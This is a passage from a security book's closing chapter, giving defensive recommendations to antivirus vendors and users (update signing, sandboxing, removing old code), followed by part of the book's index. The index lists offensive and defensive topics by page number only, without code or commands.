exploitable vulnerabilities with such languages will drop dramatically, and 

the performance gap between C or C++ code and memory-safe languages will 

become smaller every year.

In fact, .NET and Lua are actually used by some existing antivirus products. 

For a vulnerability researcher, using memory-safe languages would really make 

a difference, as fi nding security vulnerabilities in memory-safe languages is 

more diffi cult because the possibility of introducing a remote vulnerability in 

such languages is smaller.

Improve the Safety of Update Services and Protocols

The vast majority of antivirus products, sadly, do not use Secure Sockets Layer 

(SSL) or Transport Layer Security (TLS), which means that everything is down-

loaded via unencrypted communication channels that can be tampered with 

by malicious actors. At the very least, all antivirus products should move to 

implement TLS for all their update services: for downloading programs, as well 

as for their malware signature database fi les.

A good example of how to properly implement an update system is the Microsoft 

Windows Update service. In general, Microsoft uses TLS (HTTPS) for anything 

that can be dangerous (modifi ed in transit), except for downloading the program 

fi les to be updated. This exception may look like a bad decision; however, every 

single downloaded cabinet fi le (.cab) or executable is signed and verifi ed by the 

update client upon delivery.
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This well-implemented update service provides another idea about what 

should be done: all fi les that are downloaded through an update service must 

be signed and verifi ed before processing. You may be surprised to discover that 

most antivirus suites do not sign their virus database fi les or even programs 

(this is especially true for their Unix versions) and that they use MD5, SHA1, 

or CRC32(!) for the sole purpose of verifying that the updated fi les are transmit-

ted correctly. This approach considers corruption, but it does not consider the 

update integrity and source. Using RSA to sign the downloaded fi les or their 

hashes is more than enough, because not only does it validate their integrity, 

but it also authenticates the fi les (checks whether a fi le’s signature is wrong, the 

fi le is corrupted, or the fi le was modifi ed during transit by a malicious actor). 

If the signature is okay, you can be sure that the fi le is the original one coming 

from your servers and that it was not modifi ed.

Remove or Disable Old Code

The amount of old code supporting MS-DOS-era executable packers, viruses, 

Macro viruses, and a worm for Offi ce 97 is really big. Indeed, the older the 

antivirus company gets, the greater the amount of obsolete code that is included 

in its antivirus products. One has to consider that this old code was written 

during an era when nobody wrote security-minded code, mainly because there 

was no need at that time. What that means for hackers is that such old code, not 

touched in more than 10 years, is likely to have vulnerabilities. Such code paths 

are not commonly exercised, but a vulnerability researcher can fi nd vulnerabili-

ties in this code. I actually discovered some vulnerabilities affecting detections 

for the old Zmist virus, which was created by the infamous 29A group, as well 

as in code that was handling very old executable packers. For antivirus writers, 

I recommend the following:

■ Remove the code that is of no use today. Most Windows installations 

are 64-bit nowadays, and old 16-bit code does not run anyway, so 

what is the point of keeping detections for old MS-DOS viruses or

16-bit Windows?

■ Make old code and detections optional. Perhaps at installation time, the 

installer can dynamically disable old detections if applicable.

These two simple recommendations can help reduce vulnerabilities. Generally 

speaking, less code (that is of no use today) means fewer possible vulnerabilities.

On the other hand, removing such code can cause the antivirus product to 

score lower in some antivirus comparative studies. Some antivirus compara-

tives, which shall remain unnamed, contained virus databases with such dated 

malware at least fi ve years ago. While I was working for one antivirus company, 

I suffered the pain of having to modify an MS-DOS virus detection routine that 

was buggy and was discovered by using the antivirus comparative’s supplied 
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malware database. If your company, after removing obsolete detections, scores 

lower in a given antivirus comparative, you should consider whether that anti-

virus comparative is meaningful at all. Some of them are best avoided if your 

company is more focused on technology than on marketing, because many 

antivirus tools are purely a marketing stunt with no real value to add on top of 

the quality of the antivirus product.

Summary

 This chapter concludes the book, and with it I share my thoughts and experi-

ence on how antivirus vendors could use the knowledge from all the previous 

chapters to improve their security suites and antivirus software before it is 

released to the public.

Let’s recap the suggested improvements:

■ Writing secure code and leveraging programmers with security  training—

Software engineering is different from security. It does not matter if AV

developers are excellent at programming. Without secure programming

concepts in mind, programmers are likely to produce a product is prone

to various attacks from hackers.

■ Perform regular security audits—This is one of the best recommenda-

tions I can give. Have security engineers audit the code internally after 

the developers have done their jobs. Even better, get a third pair of eyes 

and hire external auditors to take a look at your source code as well; you

may be surprised at what they can still fi nd.

■ Fuzzing—This topic and its importance were thoroughly discussed in 

Chapter 13. In short, make fuzzing an integral part of your security testing 

and QA process in order to discover and fi x bugs during all the develop-

ment stages.

■ Use sandboxing techniques—Unlike most modern web browsers, not

all AV software employ sandboxes. Since you cannot ensure the safety 

of your code, it is highly advisable to use sandboxing techniques around

code that tends to deal with untrusted input such as network packets, 

email attachments, and fi les.

■ Use privileges safely—Remember to set and use ACLs on system objects

and fi les properly. Also avoid using high privileges when not needed. 

Chapter 10 discussed many cases where not setting or incorrectly setting

privileges can lead to privilege-escalation kinds of bugs.

■ Reduce dangerous code in parsers—This boils down to using proper

software design, writing secure code, and doing regular code audits. Addi-

tionally, while designing your software, choose to delegate the execution of 
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potentially dangerous code that deals with parsing fi le formats to sand-

boxed processes or ones with low privileges. Similarly, if you can, offl oad 

complicated fi le format parsing tasks from kernel-mode drivers or system 

services to sandboxed user-mode processes. Use interpreted languages 

or managed code if you can too.

■ Improve the safety of update services and protocols—In short, validat-

ing the contents of transported fi les alone is not enough. It is important 

to use secure transport channels and proper cryptographic techniques 

to ensure the validity and integrity of the updated fi les. This topic was 

thoroughly covered in Chapter 5.

■ Remove or disable old code—AV software keeps growing with time. 

New detection and disinfection routines are added frequently, and then 

that code is most likely left unmaintained and potentially riddled with 

unsafe code. Think of the disinfection routines written more than 10 

years ago. Back then, secure coding principles were not as widespread 

as today, and therefore attackers can use old and modifi ed samples to try 

to break the antivirus.

With the previous points in mind, you should remember that the responsibil-

ity does not lay 100 percent in the hands of the AV vendor. There are things that 

you, as an individual or a company, should take into consideration and some 

measures to employ to improve the security of your computers:

■ Blind trust is an error—As mentioned in Chapter 1, in the section titled

“Typical Misconceptions about Antivirus Software,” AV software is not a 

bulletproof security solution and should not be taken for granted as being 

synonymous for security. It has its weaknesses just as any  software does. 

Apart from security bugs, AV software cannot protect against mistakes 

made by users, such as falling for social engineering tactics. Users (espe-

cially non-technical computer users) often consider antivirus products to 

be the Holy Grail of security.

■ Antivirus products generally work by detecting what they know based 

on the signatures, heuristics, and static and dynamic analysis techniques 

they have support for—They cannot detect unknown or new threats 

unless those threats are based on patterns (either behavioral or statically

extracted artifacts) that are already known to the antivirus company. Part 

II of this book is solely dedicated to prove that point.

■ Malware research and new infection and evasion techniques advance

much more quickly than the defense and detection mechanisms that 

antivirus researchers create—After all, as the saying goes: “It is easier to

destroy than to build.”
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■ To improve protection, consider isolating the machines that perform 

network analysis with antivirus products—The last thing you want is to 

have the attacker using the AV software as an entry point to penetrating 

your network. A bug in the AV’s email gateway or fi rewall, for instance, 

can be the ticket into your network, where the attacker may move laterally 

in your network and start targeting computers with high-business-impact 

(HBI) data.

In conclusion, the fi eld of computer security is always growing, and the future 

holds many good promises. It is outside the scope of this book to discuss the 

new security technologies, but for now, you should tread carefully and choose 

your security solutions wisely.

We hope you enjoyed and benefi ted from reading this book as much as we 

enjoyed writing it.
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contest, 106
denial of service attacks, 207–216

local, 208–213
remote, 214–215

DEP. See Data Execution Prevention (DEP)
Detours hooking engine, 174
device_handler function, 280–281
DeviceIoControl function (Windows API),

273
device names, taking advantage of old

features, 140
DGBMS2 function, 122–123
Diaphora (Open Source IDA plug-in), 

20, 59
directory privileges, fi nding weaknesses 

in, 185–186
disinfection routines, bugs in, 64
distorm disassembler, 143
dlclose_framework function, 49
DLLs. See Dynamic Link Libraries (DLLs)
DNS record, attacker change of, 89
DNS spoofi ng, 312

Ettercap tool for, 313
downloaded update fi les, verifi cation 

process, 88
DR0 Intel x86 register, eforts to change, 141
DrCov, 254, 255
drweb32.fl g fi le, 309
Dr.Web antivirus products, 91, 129

launching attack against update services, 
312

Python exploit, 314–316
request for LZMA-compressed catalog, 

310–312
update system exploitation, 308

drweb-escan.real binary, 189
dual extensions, 173
dynamic analysis, 235–267

fuzzing, 235–265
of reverse engineering, 20

dynamic evasion techniques, 105
dynamic heuristic engine, 66, 165, 173–180
Dynamic Link Libraries (DLLs)

injecting, 276
plug-ins as, 58

dynamic loading, for antivirus plug-ins,
59–60
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DynamoRIO (binary instrumentation 
toolkit), 113, 254, 255

for Nightmare, 260

E
EasyHook hooking engine, 174
egas tool, 253
EICAR (European Institute for Computer

Anti-Virus Research), 78
eicar.com.txt testing fi le, 151
Electronic Code Book (ECB) mode, 200
ELF (Executable and Linkable Format), 301
email client, compression bombs and, 214
email credentials, theft of, 4
EMET. See Microsoft Enhanced Mitigation 

Experience Toolkit (EMET)
Emu_ConnectNamedPipe function, 135
emulators, 10–11, 73–74, 301–302

limitations, 302
encrypted fi les for plug-ins, 61
encryption keys, static, 200
engineering, vs. security, 339
err local variable, code checks on, 44
eScan Antivirus for Linux, 228

installing DEB packages, 228
eScan Malware Admin software, 189
escape function, 127
Ettercap tool, 312, 313
European Institute for Computer Anti-

Virus Research (EICAR), antivirus
testing fi le, 78

eval function, emulator triggered by,
306–307

EVP_VerifyFinal function, 308
Executable and Linkable Format (ELF),

301
executables

graph-based hashes for, 83–85
malware as packed, 10
signing, 92

exotic bugs, 188
expert system, 166
expired certifi cates, 91
exploitation. See local exploitation; remote

exploitation
exploit-db.com website, 213
Exploit.HTML.IFrame-6 malware, 108, 117
Exploit.MSWord.CVE-2010- 3333.cp fi le,

121–122
extensions lists, checking, 172–173

F
false positive, 9, 66

check of known, 169
for CRC32hash, 79

for fuzzy hashing signature, 81
“Fast Library Identifi cation and

Recognition Technology” (IDA), 220
Ferguson, Paul, 106–107
fi le format parsers, 198

for binary audit, 220–228
bugs in, 212, 215

fi le formats, 64–65
antivirus software support of, 118
confusion from, 148
evasion tips for specifi c, 124–131
miscellaneous, and AV kernel, 11
taking advantages for evasion, 136–137

fi le infector, 336
fi le length, of portable executable fi les, 126
fi le privileges, fi nding weaknesses in, 

185–186
fi les

disinfection routines, 199
splitting for determining malware 

detection, 107–112
fi le size limits, and scanner evasion, 

133–134
FinFisher, 5
fi ngerprints, 215

emulators for evading scanners, 134–136
fi rewalls, 4, 11–12, 200–201
Flame malware, 92
FLIRT (“Fast Library Identifi cation and

Recognition Technology”), 220
fl ow graph, 83
FlyStudio malware

disassembly from, 145
fl ow graph, 146

FMAlloc function
analysis, 225
determining unsanitized input, 227

fm library (fm4av.dll), 17, 18
F-Prot for Linux, installing, 152–153
frame-based functions, prologue of, 175
FreeLibrary function, 177
F-Secure Anti-Virus, 6, 17, 19, 26, 202,

220–228
InnoSetup installer fi les analyzer code, 

227
functions

forward declarations of, 50–51
human-readable names for, 196

fuzzer (fuzz-testing tool), 28
based on protocol format, 36
fi nding template fi les, 250–252
output, 242–243
problems, 247–248
template fi les for, 248–249

fuzzers/bcf.cfg fi le, 255
fuzzing, 235–265
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automatic of antivirus products, 239–248
basics, 236
command-line tools for, 238–243
by developers, 340–341
Ikarus command-line scanner, 246–247
results, 264
simple, 237–239
statistics, 264–265
with Wine, 244–247

fuzz method, 238
fuzzy hashing signatures, 81–83
fuzzy logic-based signatures, 9

G
g_Func_0056 function, 273
GCC, 20
GCluster, 84–85
GDB, 15
generic routines, as plug-ins, 64
getopt function, 38
GIT Repository, cloning, 254
Global Object Table (GOT), 224–225
Google Chrome, 90
government networks

spying on, 5
targeting, 326–328

governments, targets of, 327–328
graphical user interface (GUI) scanners, 4
grep tool, for searching for patterns, 304
Guest Additions, 149
Guest Virtual Machines (GVMs), 61, 71
GUI tools, vs. command-line for reverse

engineering, 16

H
Hacking Team, 5
hashes

cryptographic, 80
graph-based, for executables, 83–85

header fi le, for common C/C++ project,
45–46

heap buffer overfl ow bug, 299
heuristic engine evasion, 165–181
heuristics, 4

plug-in types, 65–68
Heuristics.Encrypted.Zip heuristic engine, 

65
hexadecimal editor, fi xed-size UTF-32 

strings in, 171
Hex-Rays decompiler, 123, 282
hFramework instance, 41
hidden features

in kernel-land, searching for, 279–285
in local exploitation, 270–274

HIPS. See Host Intrusion Prevention 
Systems (HIPS)

home users, targeting, Gika
hooks

for dynamic heuristic engine, 173
kernel-land, 178–179
undoing, 175
userland, 173–175

Host Intrusion Prevention Systems (HIPS),
165–166, 173

bypassing userland, 176–178
HPKP (HTTP Public Key Pinning), 100
HTTP (Hypertext Transfer Protocol)

for downloading signatures, 88
for downloading updates, 89–90

HTTP Public Key Pinning (HPKP), 100
HTTPS (Hypertext Transfer Protocol

Secure)
check for malware inside, 100
for downloading signatures, 88
for downloading updates, 89–90

human-readable names, for functions, 196

I
i386.DEB package fi le, 151
icacls command-line tool, 185
IDA

“Fast Library Identifi cation and
Recognition Technology,” 220

Functions window, 224
and program jumps, 144–146

IDA database, scanner name enumerated 
to, 54–55

IDA dissassembler, 15, 196
fi le analysis with, 30–32

<iframe> tag, 108
Ikarus command-line scanner, 27

fuzzing, 246–247
Ikarus t3 Scan tool, 21, 28–29
importing debugging symbols from Linux

to Windows, 19
industrial espionage, 326
InnoDecoder::IsInnoNew function, 

227–228
installing

Avast Core Security for Linux, 150–151
ClamAV, 150
Comodo Antivirus for Linux, 153
DEB packages in Debian-based Linux, 

228
F-Prot for Linux, 152–153
Zoner Antivirus, 154

instrumentation tools, in fuzzer, 236
Intel PIN, 113
Intel x86 CPU, instruction set support,

142–143
Intel x86 emulator, 10, 73

in antivirus software, 301
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fi nding weaknesses in, 303
NOP (no operation) instruction, 143

internal audits, 340
Intrusion Protection Systems (IPS), 

200–201
IOCTLs (I/O Control Codes)

input arguments for code, 281–283
in kernel drivers, 213
and Panda Global Protection, 270

IPS (Intrusion Protection Systems),
200–201

IRQLs list, 180
ISFPs function, 169–170

J
Java, 8

vs. C/C++ code, 342
JavaScript

advantages, 304
Comodo support for, 306
evasion tips for, 126–128
executing on the fl y, 128
for PDF exploit, 129
for remote exploitation, 303–304
string encoding in, 127

jump, opaque predicates with, 146
junk code, 144

to hide logic, 128

K
Kaspersky Anti-Virus, 16, 58, 212

advantages and disadvantages for
antivirus kernels, 61

attack against, 328
AxKLSysInfodll ActiveX component, 202
disabling, 211
generic detection signature used by,

118–124
plug-in loading by, 56
reports on The Mask, 327

Kaspersky Internet Security 6.0,
vulnerabilities in, 279

kernel, 6, 15
components loaded by, 55–56
debugging, 23–25
logical vulnerabilities, 285–294
removing callbacks, 179
vulnerabilities in antivirus products, 

187–188
kernel32!ConnectNamedPipe function, 

135
kernel Bug Check, 213
kernel drivers

disabling, 22

DoS attacks against, 213
kernel-land

exploit for vulnerability, 283–285
hooks, 178–179
malware in, 333
memory-based scanners, 69
searching for hidden features, 279–285

kernel-mode debugger, debugging user-
mode processes with, 25–27

Kingsoft (browser), 202–203
Kingsoft antivirus kernel driver, 188
Kingsoft Internet Security (KIS), 191
KisKrnl.sys driver, 188
KLICK.SYS driver, 279
KLIN.SYS driver, 279
Koret, Joxean, 81, 91, 253
Kornblum, Jesse, 81
Kylix, 28

L
LAN (Local Area Network), remote attack 

surfaces on, 184
LdrUnloadD11 function, removing hook,

177
libclamscan/pe.c fi le, 136
libclam.so library, 6
lib directory, 221–222
libdw_notify.so binary, 189
libfm-lnx32.so, 17
libfm.so library, for F-Secure, 222
libfmx-linux32.so, 19
libFRAMEWORK.so library, closing, 45
libHEUR.so library, 166–167
libMACH32.so library (Comodo), 134–135
library, loading with pseudo handle,

138–139
libSCRIPTENGINE.so library, 305, 306
libSCRIPT.so component, tracing

download of, 99
license.avastlic fi le, 151
“Liebao” browser, 203
linker, in antivirus software, 58–59
Linux, virtual machine for fuzzer, 243
Linux version, of antivirus kernels, 18
lm command, 26–27
load_framework function, 49–50

for Comodo kernel, 39–40
loaded modules analysis, vs. memory 

analysis, 70
loading plug-ins, 58–62
local attack surface, 183–184, 185–187
local denial of service attacks, 208–213
local exploitation, 269–296

backdoors and hidden features, 270–274
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kernel-land search for hidden features, 
279–294

privileges, permissions, and ACLs,
274–279

Local Types window, Export to Headeer 
File option, 45

logging in, client-side checks for, 199–200
logic, junk code to hide, 128
logical fl aws, 196
logical vulnerabilities, 270
login.php PHP script, 230–231
ls -lga command, 185–186
Lua

for antivirus software, 71
vs. C/C++ code, 342

M
MachO fi le, 301
madCodeHook hooking engine, 174
main.cpp fi le, 291–294
main function

calls to initialize, scan and clean up core
in, 46

code for cleaning up, 45
MajorLinkerVersion/MinorLinkerVersion, 

in portable executable fi les, 125
malloc function (LIBC), 225–227
malware, 3, 333

detection, 107–114
evasion techniques, 105–115
evolution of, 4
heuristic engine non-detection, 67
not dependent on zero-day processes, 

336
QA in development, 334

MalwareBytes anti-exploiting toolkit, 12
exposing functionality by, 290
IOCTL handling, 288–291
zero-day kernel vulnerabilities in, 285

“MalwareBytes’ Swiss Army Knife,” 286
managed languages, vs. C/C++ code, 342
man-in-middle (MITM) attack, 89, 312
manual binary audit, 219–233

fi le format parsers, 220–228
The Mask (Careto), 5, 327
MaxAvailVersion value, 95
maybe_IFramework_CreateInstance 

function, 48–49
reverse-engineering, 40

MB_HalRebootRoutine, 290
MB_HandleIoCreateFile_FileDeleteChild, 

290
MB_HandleIoctlOverwriteFile, 290
MB_HandleIoctlReadFile, 290

MB_
HandleIoctlReadWritePhysicalSector1/2, 
290

mbamswissarmy.sys driver, 286
MD5 hashes, 8–9, 89

fi lter for database of, 67–68
memory analysis, vs. loaded modules 

analysis, 70
memory corruption, local exploits and, 269
memory pages

preventing execution, 190
skipping, 147–148

memory scanners, 63, 69–70
Metasploit, 325

meterpreter stage, 336
Meterpreter, creating payload, 312–313
Micosoft Offi ce binary fi le formats, 118
Microsoft Enhanced Mitigation 

Experience Toolkit (EMET), 12
certifi cate pinning with, 90

Microsoft Notepad, 147
Microsoft SAGE, 252
Microsoft Security Essentials, 28–29, 55
Microsoft Windows Update service,

342–343
mini-fi lter, 179
MITM attack in LAN, 100
mpengine.dll library, 28–29, 55
MS-DOS, taking advantage of old

features, 140
MultiAV, 160–162

antivirus results, 157
client confi guration, 154–158
home page, 157

multiav-client.py script, 160–161
multi-virus product creation, initial steps,

149–154
mutate method, 238
mutation engines, assigning to fuzzing 

project, 261
mutators, in fuzzer, 236
MyNav (IDA plug-in), 60
MySQL server, for Nightmare, 259

N
names, human-readable, for functions, 196
National Security Agency (NSA), 5
native languages, AV engine use of, 7–8
.NET code, 8, 71

vs. C/C++ code, 342
network analysis tools

drivers for, 12
remote attack surface of, 337

network packet fi lter driver, 198
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network services, remote attack surfaces 
and, 199–200

new malware, 333
nfp_engine.py script, 264
Nightmare fuzzing suite, 253, 259–265

confi guring, 260–261
confi guring and running, 262–265
fi nding samples, 262
installing, 254–255
starting new fuzzing project, 261

non-native code, for plug-ins, 70–72
Norman Sandbox, 137, 140–142
notivation callback, 42
NtCreateFile function, 302
NtCreateThread native API, 278
NT kernel, emulator failure to load, 138
ntkrnlpa.exe, loading, 139
NULL value, passing as parameter, 137

O
obfuscation, 303
object confusion in PDF fi le, 129–130
object fi les, 62
OLE2 containers, fuzzing, 248
opaque predicates, 128, 144

with jump, 146
open_dev_avfl t function, 39
OpenMutexW function, 135
Open Source IDA plug-in, 20
OpenSSL, bug CVE-2008-5077, 308
operating systems, anti-exploiting

features, 12–13
original entry point (OEP), 199
Ormandy, Tavis, 13
os.system function (Python), 245

P
packaging, for plug-ins, 60–62
packet fi lters, 11–12
Palestine Liberation Army (PLA), 5
Panda Global Protection, 185, 186–187, 194,

196–197
ability to kill processes, 272
disabling antivirus shield, 274
I/O Control Codes (IOCTLs), 270
pavshld.dll library, 21

parser
command-line arguments, 38
complexity, 65
fi le format, bugs, 215
reducing dangerous code in, 342

patched bugs, 325
PAVSHLD_001 function, 273

pavshld.dll library, 196, 270–274
payloads

complex, 300–307
launching fi nal, 306–307
Meterpreter, 312–313
modifi ed versions of, 158

%PDF-1.X magic string, 148
PDF fi le format

evasion tips for, 129–131
vulnerabilities in, 64–65

PE (portable executable) fi les, 117, 301
to bypass signatures, 136
changing to bypass antivirus detections,

158
evasion tips for, 124–131

PeachMinset, 248–249
peCloak.py script, 149, 158–160

automatic antivirus evasion tool using, 
160–162

penetration testing, 106
performance, SSL or TLS and, 90
Perl, vs. C/C++ code, 342
permissions

fi nding invalid, 274–279
vulnerabilities in, 269

Permissions dialog box, 275
pfunc50 function, 43
PHP source code, static analysis of,

228
Picasa, 28
Pistelli, Daniel, 179
plain-text communications, and writing 

exploits, 308
plug-ins, 57–75

browser, 201
dynamic loading, 59–60
kernel loading of, 55
loading process, 58–62
non-native code for, 70–72
packaging approaches, 60–62

plug-in types, 62–68
emulators, 73–74
fi le format and protocol support, 64–65
heuristics, 65–68
memory scanners, 69–70
scanners and generic routines, 63–64
scripting languages, 72–73

polyglot fi le formats, 148
Portable Document Format (PDF)

evasion tips for, 129–131
vulnerabilities in, 64–65

portable executable (PE) fi les, 117, 301
to bypass signatures, 136
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changing to bypass antivirus detections,
158

evasion tips for, 124–131
porting

antivirus kernels to Unix, 243–244
kernel core, 28–29

privileges
escalation of, 186–187
fi nding invalid, 274–279
fi nding weaknesses in fi les and

directories, 185–186
incorrect, on Windows objects, 193–194
using safely, 341

Process Explorer, 190, 194
ProcProt!Func_0056, call graph, 273
protocols, plug-ins to understand, 64–65
PROTOS Genome Test Suite c10-archive, 

for test fi les, 251–252
PsSetCreateProcessNotifyRoutineEx

callback, 175
PsSetCreateProcessNotifyRoutine

function, 178
PsSetCreateThreadNotifyRoutine 

function, 178
PsSetLoadImageNotifyRoutine function, 

178
PyClamd, 6
Pyew hexadecimal editor, 84–85, 119
Python

vs. C/C++ code, 342
connecting to socket from prompt, 

32–36
for Nightmare, 259
scripts for fuzzing, 237–239

Python bindings
fi nal version, 37
writing for Avast for Linux, 29–37

Python macholib, for Nightmare, 260

Q
Qihoo 360, 22
QuickHeal AntiVirus 7.0.0.1 - Stack

Overfl ow Vulnerability, 188

R
Radamsa, 255–256

multiple engine, 261
for Nightmare, 259

ransom, for infected computer contents, 
325

RAR VM (virtual machine), 305
readelf -Ws command, 222–223
Read/Write/eXecute (RWX) memory

pages, 59
antivirus focus on, 148

exploiting at fi xed addresses, 298–300, 
318

for plug-ins, 58
realpath function, 35
real-time scanner, 8
rebasing code, in debugging segments, 62
regedit.exe (registry editor tool), 22
registry, hooking activity, 179
RegistryCallback function, 179
remote attack surfaces, 184, 197–203

browser plug-ins, 201
generic detection and fi le disinfection

code, 199
of network analysis tools, 337
network services, administration panels,

and consoles, 199–200
security enhanced software, 202–203
update services, 201

remote code execution, 200
remote denial of service attacks, 214–215
RemoteDLL tool, 276–278
remote exploitation, 297–319

ASLR, DEP, and RWX pages at fi xed
addresses, 298–300

complex payloads, 300–307
sandbox weaknesses, 297–298
server-side, 317–318
of update services, 307–317

remote services, static analysis, 228–233
residents, 8
responsible disclosure, 294
reverse-engineering tools, 15–20

backdoors and confi guration settings, 
21–28

command-line vs. GUI, 16
debugging symbols, 17–20
importing from Linux to Windows, 19

Rising (browser), 202–203
ritain, Government Communications

Headquarters (GCHQ), 5
RPM fi les, fi nding vulnerabililty parsing, 

36
RTF fi les, 124
Ruby, vs. C/C++ code, 342
runasroot program (eScan DEB), 229
running processes, monitoring execution 

of, 173–175
RWX pages. See Read/Write/eXecute 

(RWX) memory pages
RX memory pages, antivirus focus on, 148

S
sabotage, 5
Sality virus, 143, 336
sample, for emulator trigger, 302
sandbox, 176
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exploiting weaknesses, 297–298
malware gaining privileges outside, 335
processes in, 342

sandbox escape, 184
Santamarta, Ruben, 279
Saudi Aramco, 5
Scan__result object instance, 172
scan_path function, 34–35
scan_stream function, 43, 46

code for, 47–48
scan code, code to send to daemon, 35–36
ScanCorruptPE function, 169
scan directories, function for, 42–43
ScanDualExtension method, 169
scanned pages, reducing number of, 148
scanner evasion, 133–163

automating, 148–162
scanners, 4, 5–6, 8

loading routines, 41
as plug-ins, 63–64
resolving identifi ers to scanner names, 

52–54
scanning for hosts, with Ettercap, 313
SCANOPTION object, 44
SCANRESULT object, 44, 51–52
ScanSingleTarget method, 167–168
ScanUnknownPacker method, 168
scripting languages, 72–73

vs. C/C++ code, 342
section names, in portable executable fi les, 

125
section object, 195
Secure Sockets Layer (SSL), 342–343

antivirus software and, 100–101
support for, 89–91

security
auditing products, 338
vs. engineering, 339
from isolating computer, 337
mitigation, 12
risk from no process owner, 275–276

security bugs
in generic routines, 64
reverse-engineering to fi nd, 63

security cookie, calculating, 286
security enhanced software, 202–203
security industry, strategies and 

recommendations, 331
self-protection

by AV software, 12
disabling, 22–23
disabling mechanisms, 21

self-signed certifi cates, 90
server-side exploitation, 317–318
SetErrorMode API, 137
SetSecurityDescriptorDAL function, 195

-s fl ag, in cmdscan disassembly, 38
SGID, 185

exploiting binaries on Unix-based 
platforms, 189–190

SHA1 hash, 98, 129
shell escape characters, fi ltering command

injections based on, 231–232
shell scripts, signing, 92
signature-based detection, evading with

divide and conquer trick, 108–112
signature evasion, 117–132

fi le formats, 118
Kaspersky Anti-Virus and, 118–124

signature identifi er, obtaining, 52
signatures, 8–9, 77–86

as byte-stream, 78
checksums (CRCs), 78–79
downloading for Comodo, 153
fuzzy hashing, 81–83
for updates, 308
for virus database fi les, 343

signatures update, for antivirus software,
92

signing algorithms, for verifying antivirus
products, 91–92

signing scheme, for antivirus plug-ins, 61
SIGSEGV segmentation fault, 245
sigtool, 112
Simple replacer multiple engine, 261
SMT solvers, 252
social engineering, 332, 333
sockets

connecting to, from Python prompt, 
32–36

pointer to path, 31
software update, for antivirus software, 92
Sophos Buffer Overfl ow Protection System 

(BOPS), 13
source code review audits, 340
SpamSum, 81
SrvLoad.EXE process, NULL ACL value 

assigned to, 187
ssdeep, 81, 82
SSL. See Secure Sockets Layer (SSL)
stack overfl ow, 188

and code execution, 190
Stamm- File Virri/Stamms.txt fi le, 120–121
static analysis, 219–233

remote services, 228–233
static encryption keys, 200
static evasion techniques, 105
static heuristic engine, 66, 165, 166

bypassing, 166–173
streamed data, compressed and encoded, 

129–130
string encoding, in JavaScript, 127
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Stuxnet computer worm, 5
sub_1172A function, 281–282
SUID, 185

exploiting binaries on Unix-based 
platforms, 189–190

Symantec, 211
Guest Virtual Machines (GVMs), 61

symbolic execution, 252
symbolic links, in F-Secure directory, 

220–221
SysInternal Process Explorer, 275, 278
system services in Windows, disabling, 22

T
t3scan.exe program, 244
T3Scan Windows command-line scanner, 

244
running test for, 245

t3sigs.vdb (Virtual Database) fi le, 244
taint analysis, 113–114
TAR fi le, analysis, 302–303
targeted malware, 334
tarkus, 186–187
Task Manager, Panda process in, 271
template fi les for fuzzer, 248–249

fi nding, 250–252
Themida, 72
third-party binary audits, 340
Thompson, Roger, 106
Thread Local Storage (TLS) callback, 147
thunk function, 224–225
TimeDateStamp, in portable executable 

fi les, 125
traffi c capture log, from Wireshark, 94
Transport Layer Security (TLS), 342–343

antivirus software and, 100–101
support for, 89–91

trends in antivirus protection, 323–329
Tridgell, Andrew, 81
true negatives, 9

U
ulimit -c unlimited command, 240
undoing hooks, 175
unescape function, 127
unhook function, 177
universally unique identifi er (UUID), 270
Universal Unpacker (UPX), 10
Unix

for fuzz automation, 28
porting antivirus kernels to, 243–244
timestamp, 309

virtual machine for fuzzer, 243
unpackers, 10

for .avc fi les, 119–120
plug-ins as, 64

update fi les
CRC for, 311–312
verifying, 91–92

update protocols
of antivirus company, 88–92
dissecting, 92–100
vulnerabilities in, 99

update services, 87–101
improving safety, 342–343
as remote attack entry point, 201

UPX (Universal Unpacker), 10
User Account Control (UAC) prompt, 333
userland, 12

bypassing HIPS, 176–178
malware in, 333
memory-based scanners, 69

userland hooks, 173–175
bypassing, 175

user-mode processes, debugging with 
kernel-mode debugger, 25–27

UUID (universally unique identifi er), 270

V
variables, and Bayesian networks, 66–67
VBScript

Comodo support for, 306
emulators, 304
for remote exploitation, 303–304

Veil Framework, 148, 312
verifi cation, of downloaded update fi les,

88
version information, resources directory

for storing, 170
VirtualBox, 24

debugging setup in, 24–25
Virtual Function Table (VTable), 299
virtualization software, 16
virtual machines, 71–72

connecting to TCP listening services 
inside, 149

creating, 24
emulators for, 10
for Windows, fuzzers in, 243

viruses, function to increase count, 44
VirusTotal, 114, 129, 148–149

report, 124
report on compression bomb attack, 210
sample fi le format from, 250
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Virut virus, 336
VMProtect, 72
VTable (Virtual Function Table), 299
vulnerabilities

in antivirus software, 338
initial steps to discover, 224
in permissions, 269

vxers, 4

W
watch icon, in VirusTotal, 210
wc tool, 210
webapi.py python script, 156–157
WebProxy.EXE process

NULL ACL value assigned to, 187
security properties, 275

weights-based heuristics, 68
WinDbg, 15, 23, 25–26
Windows

evasion tips for executable fi les, 124–131
excessive focus as failure, 62

Windows objects, incorrect privileges on, 
193–194

Wine (Wine Is Not an Emulator), 28, 244
fuzzing with, 244–247

Winelib, 244
WinObj (winobj.exe) tool, 193
Wireshark, launching, 94
worms, 11

X
X.509 certifi cates, 89
XAR fi le, compressing, 211
XML fi les, for Comodo software for Linux

updates, 97–98
XOR-ADD algorithm, 59
xterm command, 232
XZ fi le format, compressing, 211

Z
z0mbie, unpackers, 119
Zalewski, Michal, 253
zero-day approach in malware, 335
zero-day bugs, 324
zero-day kernel vulnerabilities, in 

MalwareBytes, 285
zero-fi lled fi le, creating, 209–212
Zillya, 211
zip bomb, 208
ZIP -compressed fi les

analysis, 302–303
heuristic engine and, 65

“zip of death,” 208
zlib, 59
Zmist virus, 343
zombie network, 325
Zoner Antivirus for GNU/Linux, 304

installing, 154
Zynamics BinDiff, 18, 59–60
Zzuf, for Nightmare, 260








